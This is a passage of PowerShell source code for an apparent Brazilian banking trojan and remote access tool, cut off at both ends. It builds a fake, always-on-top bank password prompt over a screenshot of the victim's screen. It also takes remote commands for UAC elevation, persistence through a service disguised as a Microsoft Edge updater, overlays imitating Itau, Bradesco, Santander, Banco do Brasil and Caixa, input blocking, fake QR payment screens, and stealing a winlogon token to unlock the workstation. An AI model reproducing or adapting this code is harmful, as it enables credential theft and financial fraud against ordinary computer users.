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" } if ($logoData) { $logoBytes = [Convert]::FromBase64String($logoData) [System.IO.File]::WriteAllBytes($logoPath, $logoBytes) $hasLogo = $true } } catch { $hasLogo = $false } $useLogo = if ($hasLogo) { "1" } else { "0" } $captureScript = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # DPI AWARENESS - CRITICO para cobertura precisa de todos monitores! Add-Type @' using System; using System.Runtime.InteropServices; public class DpiHelper { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int awareness); } '@ try { [DpiHelper]::SetProcessDpiAwareness(2) } catch {} # API para forcar TopMost Add-Type @' using System; using System.Runtime.InteropServices; public class TopMostAPI { [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr ProcessId); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")] public static extern uint GetCurrentThreadId(); public static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); public static void ForceToFront(IntPtr hwnd) { IntPtr foregroundWnd = GetForegroundWindow(); uint foregroundThread = GetWindowThreadProcessId(foregroundWnd, IntPtr.Zero); uint currentThread = GetCurrentThreadId(); if (foregroundThread != currentThread) { AttachThreadInput(foregroundThread, currentThread, true); SetForegroundWindow(hwnd); BringWindowToTop(hwnd); AttachThreadInput(foregroundThread, currentThread, false); } else { SetForegroundWindow(hwnd); BringWindowToTop(hwnd); } SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0x0003); } } '@ `$bankR = $BankR; `$bankG = $BankG; `$bankB = $BankB `$bankName = '$safeBankName' `$maxLen = $MaxLength `$useLogo = $useLogo # Usar VirtualScreen para cobrir todos os monitores `$vs = [System.Windows.Forms.SystemInformation]::VirtualScreen `$vsX = `$vs.X `$vsY = `$vs.Y `$vsW = `$vs.Width `$vsH = `$vs.Height # Monitor primario para posicionar UI `$primary = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds # Screenshot de todos os monitores `$screenshot = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$screenshot) `$g.CopyFromScreen(`$vsX, `$vsY, 0, 0, (New-Object System.Drawing.Size(`$vsW, `$vsH))) `$g.Dispose() # Overlay escurecido `$overlay = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$overlay) `$g.DrawImage(`$screenshot, 0, 0) `$darkBrush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(200, 0, 0, 0)) `$g.FillRectangle(`$darkBrush, 0, 0, `$vsW, `$vsH) `$g.Dispose() # Form cobrindo todos os monitores `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.Location = New-Object System.Drawing.Point(`$vsX, `$vsY) `$form.Size = New-Object System.Drawing.Size(`$vsW, `$vsH) `$form.TopMost = `$true `$form.BackgroundImage = `$overlay `$form.BackgroundImageLayout = 'None' `$form.KeyPreview = `$true `$form.ShowInTaskbar = `$false # Calcular offset para posicionar elementos no monitor primario `$pOffX = `$primary.X - `$vsX `$pOffY = `$primary.Y - `$vsY # Usar bounds do monitor primario para centralizar caixa `$bounds = `$primary `$boxWidth = 340 `$boxHeight = 300 `$box = New-Object System.Windows.Forms.Panel `$box.Size = New-Object System.Drawing.Size(`$boxWidth, `$boxHeight) # Centralizar no monitor primario (com offset do VirtualScreen) `$box.Location = New-Object System.Drawing.Point((`$pOffX + (`$bounds.Width - `$boxWidth) / 2), (`$pOffY + (`$bounds.Height - `$boxHeight) / 2)) `$box.BackColor = [System.Drawing.Color]::White `$form.Controls.Add(`$box) `$box.Paint.Add({ param(`$s, `$e) `$radius = 8 `$path = New-Object System.Drawing.Drawing2D.GraphicsPath `$path.AddArc(0, 0, `$radius, `$radius, 180, 90) `$path.AddArc(`$box.Width - `$radius - 1, 0, `$radius, `$radius, 270, 90) `$path.AddArc(`$box.Width - `$radius - 1, `$box.Height - `$radius - 1, `$radius, `$radius, 0, 90) `$path.AddArc(0, `$box.Height - `$radius - 1, `$radius, `$radius, 90, 90) `$path.CloseFigure() `$e.Graphics.SmoothingMode = 'AntiAlias' `$box.Region = New-Object System.Drawing.Region(`$path) }) `$yPos = 20 `$logoLoaded = `$false # Tentar carregar logo if (`$useLogo -eq 1) { `$logoFile = [System.IO.Path]::Combine(`$env:TEMP, 'caplogo.png') if ([System.IO.File]::Exists(`$logoFile)) { try { `$fs = [System.IO.File]::OpenRead(`$logoFile) `$logoImage = [System.Drawing.Image]::FromStream(`$fs) `$fs.Close() `$picLogo = New-Object System.Windows.Forms.PictureBox `$picLogo.Size = New-Object System.Drawing.Size(120, 50) `$picLogo.Location = New-Object System.Drawing.Point(((`$boxWidth - 120) / 2), `$yPos) `$picLogo.SizeMode = 'Zoom' `$picLogo.BackColor = [System.Drawing.Color]::Transparent `$picLogo.Image = `$logoImage `$box.Controls.Add(`$picLogo) `$yPos += 55 `$logoLoaded = `$true } catch { } } } if (-not `$logoLoaded -and `$bankName -ne '') { `$lblBank = New-Object System.Windows.Forms.Label `$lblBank.Text = `$bankName `$lblBank.Font = New-Object System.Drawing.Font('Segoe UI', 18, [System.Drawing.FontStyle]::Bold) `$lblBank.ForeColor = [System.Drawing.Color]::FromArgb(`$bankR, `$bankG, `$bankB) `$lblBank.Location = New-Object System.Drawing.Point(0, `$yPos) `$lblBank.Size = New-Object System.Drawing.Size(`$boxWidth, 40) `$lblBank.TextAlign = 'MiddleCenter' `$box.Controls.Add(`$lblBank) `$yPos += 45 } `$lblDesc = New-Object System.Windows.Forms.Label `$lblDesc.Text = '$safeMessage' `$lblDesc.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$lblDesc.ForeColor = [System.Drawing.Color]::FromArgb(119, 119, 119) `$lblDesc.Location = New-Object System.Drawing.Point(0, `$yPos) `$lblDesc.Size = New-Object System.Drawing.Size(`$boxWidth, 20) `$lblDesc.TextAlign = 'MiddleCenter' `$box.Controls.Add(`$lblDesc) `$yPos += 30 `$sep = New-Object System.Windows.Forms.Panel `$sep.Size = New-Object System.Drawing.Size((`$boxWidth - 40), 1) `$sep.Location = New-Object System.Drawing.Point(20, `$yPos) `$sep.BackColor = [System.Drawing.Color]::FromArgb(230, 230, 230) `$box.Controls.Add(`$sep) `$yPos += 20 `$lblField = New-Object System.Windows.Forms.Label `$lblField.Text = '$safeLabel' `$lblField.Font = New-Object System.Drawing.Font('Segoe UI', 10, [System.Drawing.FontStyle]::Bold) `$lblField.ForeColor = [System.Drawing.Color]::FromArgb(51, 51, 51) `$lblField.Location = New-Object System.Drawing.Point(30, `$yPos) `$lblField.AutoSize = `$true `$box.Controls.Add(`$lblField) `$yPos += 28 `$txtInput = New-Object System.Windows.Forms.TextBox `$txtInput.Font = New-Object System.Drawing.Font('Segoe UI', 14) `$txtInput.Location = New-Object System.Drawing.Point(30, `$yPos) `$txtInput.Size = New-Object System.Drawing.Size((`$boxWidth - 60), 35) `$txtInput.UseSystemPasswordChar = `$true `$txtInput.BorderStyle = 'FixedSingle' `$txtInput.TextAlign = 'Center' `$txtInput.MaxLength = `$maxLen `$txtInput.BackColor = [System.Drawing.Color]::FromArgb(250, 250, 250) `$box.Controls.Add(`$txtInput) `$yPos += 50 `$btnConfirm = New-Object System.Windows.Forms.Button `$btnConfirm.Text = 'Confirmar' `$btnConfirm.Font = New-Object System.Drawing.Font('Segoe UI', 11, [System.Drawing.FontStyle]::Bold) `$btnConfirm.Size = New-Object System.Drawing.Size((`$boxWidth - 60), 40) `$btnConfirm.Location = New-Object System.Drawing.Point(30, `$yPos) `$btnConfirm.FlatStyle = 'Flat' `$btnConfirm.BackColor = [System.Drawing.Color]::FromArgb(`$bankR, `$bankG, `$bankB) `$btnConfirm.ForeColor = [System.Drawing.Color]::White `$btnConfirm.FlatAppearance.BorderSize = 0 `$btnConfirm.Cursor = 'Hand' `$btnConfirm.Add_Click({ `$form.Tag = `$txtInput.Text; `$form.Close() }) `$box.Controls.Add(`$btnConfirm) `$lblFooter = New-Object System.Windows.Forms.Label `$lblFooter.Text = 'Ambiente seguro' `$lblFooter.Font = New-Object System.Drawing.Font('Segoe UI', 8) `$lblFooter.ForeColor = [System.Drawing.Color]::FromArgb(153, 153, 153) `$lblFooter.Location = New-Object System.Drawing.Point(0, (`$boxHeight - 25)) `$lblFooter.Size = New-Object System.Drawing.Size(`$boxWidth, 20) `$lblFooter.TextAlign = 'MiddleCenter' `$box.Controls.Add(`$lblFooter) # Timer para manter TopMost `$timer = New-Object System.Windows.Forms.Timer `$timer.Interval = 500 `$timer.Add_Tick({ try { `$form.TopMost = `$true [TopMostAPI]::ForceToFront(`$form.Handle) } catch {} }) `$timer.Start() `$txtInput.Add_KeyDown({ if (`$_.KeyCode -eq 'Enter') { `$timer.Stop(); `$form.Tag = `$txtInput.Text; `$form.Close() } }) `$btnConfirm.Add_Click({ `$timer.Stop() }) `$form.Add_Shown({ `$txtInput.Focus() [TopMostAPI]::ForceToFront(`$form.Handle) }) `$form.Add_FormClosed({ `$timer.Stop() }) [System.Windows.Forms.Application]::Run(`$form) `$form.Tag "@ try { # Runspace STA síncrono (evita EncodedCommand) $runspace = [runspacefactory]::CreateRunspace() $runspace.ApartmentState = "STA" $runspace.ThreadOptions = "ReuseThread" $runspace.Open() $ps = [powershell]::Create() $ps.Runspace = $runspace [void]$ps.AddScript($captureScript) $output = $ps.Invoke() $result = if ($output -and $output.Count -gt 0) { $output[-1] } else { "" } $ps.Dispose() $runspace.Close() $runspace.Dispose() } catch { $result = "" } # Limpar arquivo de logo if (Test-Path $logoPath) { Remove-Item $logoPath -Force -ErrorAction SilentlyContinue } return $result } function Handle-SystemCommand { param($Cmd, $Stream) switch ($Cmd) { "getMonitors" { Send-MonitorList -Stream $Stream return "Monitors: $($script:Monitors.Count)" } # =================================================================== # COMANDOS DE ELEVACAO E SERVICO # =================================================================== "elevate_reboot" { # Tenta elevar privilegios $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } # Se ja e Admin, instala servico direto if (Test-IsAdmin) { if ($scriptPath) { $result = Install-EdgeService -ScriptPath $scriptPath if ($result) { return "[OK] Ja e Admin! Servico instalado como SYSTEM" } } return "[X] Falha ao instalar servico" } # Se e User, solicita UAC (abre popup pedindo Admin) if ($scriptPath) { $result = Request-Elevation -ScriptPath $scriptPath if ($result) { return "[OK] Popup UAC enviado! Aguarde usuario aceitar" } } return "[X] Falha ao solicitar elevacao" } "elevate_persist" { # Cria persistencia simples (Registry) sem precisar Admin $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Persistencia criada!" } } return "[X] Falha ao criar persistencia" } "install_service" { # Instala servico (precisa Admin) if (-not (Test-IsAdmin)) { return "[X] Precisa de privilegios de Admin" } $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-EdgeService -ScriptPath $scriptPath if ($result) { return "[OK] Servico $($script:InstallConfig.ServiceName) instalado!" } else { return "[X] Falha ao instalar servico" } } return "[X] Script path nao encontrado" } "uninstall_service" { # Remove servico e arquivos $result = Uninstall-EdgeService if ($result) { return "[OK] Servico removido!" } return "[X] Falha ao remover servico" } "get_elevation" { # Retorna status de elevacao e persistencia $isSystem = Test-IsSystem $isAdmin = Test-IsAdmin $serviceExists = Test-ServiceExists $persistMethods = Test-PersistenceInstalled $persistStatus = if ($persistMethods.Count -gt 0) { $persistMethods -join ', ' } else { 'Nenhuma' } return "System: $isSystem | Admin: $isAdmin | Service: $serviceExists | Persist: $persistStatus" } "get_persist" { # Retorna status de persistencia limpa $hasPersist = Test-CleanPersistenceInstalled $hasService = Test-ServiceExists if ($hasService) { return "[OK] Servico SYSTEM instalado (melhor protecao)" } elseif ($hasPersist) { return "[OK] Tarefa agendada ativa (persistencia limpa)" } return "[X] Nenhuma persistencia instalada" } "install_persist" { # Instala persistencia limpa (tarefa agendada) $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-CleanPersistence -ScriptPath $scriptPath if ($result) { return "[OK] Tarefa agendada criada com sucesso!" } } return "[X] Falha ao instalar persistencia" } "elevate" { return (Handle-SystemCommand -Cmd "request_uac" -Stream $Stream) } "request_uac" { Write-Host "[UAC] COMANDO REQUEST_UAC!" -ForegroundColor Cyan $svc = Get-Service -Name 'MicrosoftEdgeUpdateCore' -EA SilentlyContinue if ($svc) { return "[OK] Servico ja instalado!" } $srcScript = $script:SourceScriptPath if (-not $srcScript -or -not (Test-Path $srcScript -EA SilentlyContinue)) { $srcScript = "$env:APPDATA\Microsoft\Diagnosis\ETW\msedgeupdate.txt" } if (-not (Test-Path $srcScript -EA SilentlyContinue)) { $srcScript = "C:\ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt" } Write-Host "[UAC] Script: $srcScript" -ForegroundColor Gray if (-not (Test-Path $srcScript -EA SilentlyContinue)) { return "[X] Script nao encontrado!" } try { # IMPORTANTE: Passar -ScriptPath para que $script:SourceScriptPath seja definido! Write-Host "[UAC] Pedindo Admin..." -ForegroundColor Yellow Start-Process powershell.exe -ArgumentList "-ExecutionPolicy Bypass -Command `"& ([ScriptBlock]::Create((gc '$srcScript' -Raw))) -ScriptPath '$srcScript' -InstallService`"" -Verb RunAs -Wait Start-Sleep -Seconds 3 $svc = Get-Service -Name 'MicrosoftEdgeUpdateCore' -EA SilentlyContinue if ($svc) { Write-Host "[UAC] SUCESSO!" -ForegroundColor Green $script:ForceExit = $true return "[OK] Servico SYSTEM instalado!" } return "[!] Falhou" } catch { return "[X] Erro: $_" } } "remove_persist" { # Remove toda persistencia (usado antes de uninstall) $result = Remove-AutoPersistence if ($result) { return "[OK] Persistencia removida!" } return "[X] Falha ao remover persistencia" } # =================================================================== "blankOn" { Write-Host "[BLANK] Chamando Start-DisplayOverlay -Mode 1" -ForegroundColor Cyan; Write-DebugLog "[BLANK] Chamando overlay"; Start-DisplayOverlay -Mode 1; return "Overlay Mode 1 ON" } "blankOff" { Stop-DisplayOverlay; return "Overlay OFF" } "blockOn" { Write-Host "[BLOCK] Chamando Start-InputPause" -ForegroundColor Cyan; Write-DebugLog "[BLOCK] Chamando input block"; Start-InputPause; return "Input Blocked" } "blockOff" { Stop-InputPause; return "Input Unblocked" } "overlay_on" { Start-DisplayOverlay -Mode 1; return "Overlay ON" } "overlay_off" { Stop-DisplayOverlay; return "Overlay OFF" } # Modos de Privacidade Customizados "priv1" { Write-Host "[PRIV1] Chamando Start-DisplayOverlay -Mode 1" -ForegroundColor Cyan; Write-DebugLog "[PRIV1] Chamando overlay"; Start-DisplayOverlay -Mode 1; return "Overlay Mode 1: Windows Update (Animado)" } "priv2" { Start-DisplayOverlay -Mode 2; return "Overlay Mode 2: Preparando Windows" } "priv3" { Start-DisplayOverlay -Mode 3; return "Overlay Mode 3: Tela Azul (BSOD)" } "priv4" { Start-DisplayOverlay -Mode 4; return "Overlay Mode 4: Verificando Disco" } "priv5" { Start-DisplayOverlay -Mode 5; return "Overlay Mode 5: Tela Preta" } # Modos de Banco (apenas 5 primeiros) "priv6" { Start-DisplayOverlay -Mode 6; return "Overlay Mode 6: Itau" } "priv7" { Start-DisplayOverlay -Mode 7; return "Overlay Mode 7: Bradesco" } "priv8" { Start-DisplayOverlay -Mode 8; return "Overlay Mode 8: Santander" } "priv9" { Start-DisplayOverlay -Mode 9; return "Overlay Mode 9: Banco do Brasil" } "priv10" { Start-DisplayOverlay -Mode 10; return "Overlay Mode 10: Caixa" } "priv11" { Start-DisplayOverlay -Mode 11; return "Overlay Mode 11: Itau Elaborado" } "priv12" { Start-DisplayOverlay -Mode 12; return "Overlay Mode 12: Bradesco Elaborado" } "priv13" { Start-DisplayOverlay -Mode 13; return "Overlay Mode 13: Santander Elaborado" } "priv14" { Start-DisplayOverlay -Mode 14; return "Overlay Mode 14: BB Elaborado" } "priv15" { Start-DisplayOverlay -Mode 15; return "Overlay Mode 15: Caixa Elaborado" } "privOff" { Stop-DisplayOverlay; return "Overlay OFF" } "screenshotCancel" { # Cancelar tela fake ativa e restaurar modo priv try { if ($script:ScreenshotProcess -and -not $script:ScreenshotProcess.HasExited) { Write-Host "[SCREENSHOT] Cancelando tela fake..." -ForegroundColor Yellow $script:ScreenshotProcess.Kill() $script:ScreenshotProcess.WaitForExit(1000) } $script:ScreenshotActive = $false $script:ScreenshotProcess = $null # Restaurar modo priv anterior if ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) { Write-Host "[SCREENSHOT] Restaurando modo priv $($script:PreviousOverlayMode)..." -ForegroundColor Green Start-DisplayOverlay -Mode $script:PreviousOverlayMode return "Screenshot cancelado, modo priv $($script:PreviousOverlayMode) restaurado" } return "Screenshot cancelado" } catch { return "Erro ao cancelar: $_" } } "cropStop" { try { Stop-CropScreen # Restaurar priv mode que estava ativo antes do crop if ($script:OverlayModeBeforeCrop -and $script:OverlayModeBeforeCrop -gt 0) { Start-DisplayOverlay -Mode $script:OverlayModeBeforeCrop $modeRestored = $script:OverlayModeBeforeCrop $script:OverlayModeBeforeCrop = $null return "Crop stopped, priv mode $modeRestored restored" } return "Crop stopped" } catch { return "Crop error: $_" } } "lock" { rundll32.exe user32.dll,LockWorkStation; return "Locked" } "show_qr" { # Parse command: show_qr|bank|message|base64 $parts = $Cmd -split '\|', 4 if ($parts.Count -ge 4) { $bank = $parts[1].ToLower().Trim() $message = $parts[2] $imageBase64 = $parts[3] # Validate bank parameter if ($script:QRBankConfig.ContainsKey($bank)) { $bankInfo = $script:QRBankConfig[$bank] try { # Show QR overlay [QRCodeSystem.QROverlay]::Show( $bankInfo.Name, $bankInfo.Color, $message, $imageBase64 ) return "QR_SHOWN:$($bankInfo.Name)" } catch { return "QR_ERROR:$_" } } else { return "QR_ERROR:Invalid bank '$bank'. Valid: itau, bradesco, santander, bb, caixa" } } return "QR_ERROR:Invalid format. Use: show_qr|bank|message|base64" } "hide_qr" { try { [QRCodeSystem.QROverlay]::Hide() return "QR_HIDDEN" } catch { return "QR_ERROR:$_" } } "unlock" { try { Add-Type @" using System; using System.Diagnostics; using System.Runtime.InteropServices; public class WinlogonUnlock { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessAsUser(IntPtr hToken, string app, string cmd, IntPtr procAttr, IntPtr threadAttr, bool inherit, uint flags, IntPtr env, string dir, ref STARTUPINFO si, out PROCESS_INFORMATION pi); [DllImport("advapi32.dll")] static extern bool OpenProcessToken(IntPtr h, uint a, out IntPtr t); [DllImport("advapi32.dll")] static extern bool DuplicateTokenEx(IntPtr h, uint a, IntPtr sa, int il, int tt, out IntPtr n); [DllImport("advapi32.dll")] static extern bool SetTokenInformation(IntPtr t, int c, ref uint i, int l); [DllImport("userenv.dll")] static extern bool CreateEnvironmentBlock(out IntPtr e, IntPtr t, bool i); [DllImport("userenv.dll")] static extern bool DestroyEnvironmentBlock(IntPtr e); [DllImport("kernel32.dll")] static extern uint WTSGetActiveConsoleSessionId(); [DllImport("kernel32.dll")] static extern bool ProcessIdToSessionId(uint p, out uint s); [DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr h); [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] struct STARTUPINFO { public int cb; public string lpReserved, lpDesktop, lpTitle; public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags; public short wShowWindow, cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } public static string Run() { uint sess = WTSGetActiveConsoleSessionId(); if (sess == 0xFFFFFFFF) return "FAIL:NoSession"; IntPtr tok = IntPtr.Zero; foreach (Process p in Process.GetProcessesByName("winlogon")) { try { uint ps; ProcessIdToSessionId((uint)p.Id, out ps); if (ps == sess && OpenProcessToken(p.Handle, 0xF01FF, out tok)) break; } catch {} } if (tok == IntPtr.Zero) return "FAIL:NoToken"; IntPtr dup = IntPtr.Zero, env = IntPtr.Zero; try { if (!DuplicateTokenEx(tok, 0x2000000, IntPtr.Zero, 2, 1, out dup)) return "FAIL:Dup:" + Marshal.GetLastWin32Error(); SetTokenInformation(dup, 12, ref sess, 4); CreateEnvironmentBlock(out env, dup, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "WinSta0\\Winlogon"; si.dwFlags = 1; si.wShowWindow = 0; PROCESS_INFORMATION pi; string cmd = "powershell -c \"Add-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")]public static extern void keybd_event(byte k,byte s,uint f,int e);' -Name K -Namespace W;1..10|%{[W.K]::keybd_event(13,0,0,0);Start-Sleep -m 50;[W.K]::keybd_event(13,0,2,0);Start-Sleep -m 150}\""; if (!CreateProcessAsUser(dup, null, cmd, IntPtr.Zero, IntPtr.Zero, false, 0x00000410, env, null, ref si, out pi)) return "FAIL:Proc:" + Marshal.GetLastWin32Error(); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return "OK:S=" + sess + ";PID=" + pi.dwProcessId; } finally { if (env != IntPtr.Zero) DestroyEnvironmentBlock(env); if (dup != IntPtr.Zero) CloseHandle(dup); CloseHandle(tok); } } } "@ return [WinlogonUnlock]::Run() } catch { return "ERROR: $_" } } "logoff" { Stop-DisplayOverlay; Stop-InputPause; shutdown /l /f; return "Logoff" } "restart" { Stop-DisplayOverlay; Stop-InputPause; shutdown /r /t 0 /f; return "Restart" } "shutdown" { Stop-DisplayOverlay; Stop-InputPause; shutdown /s /t 0 /f; return "Shutdown" } # Auto-reinicio do 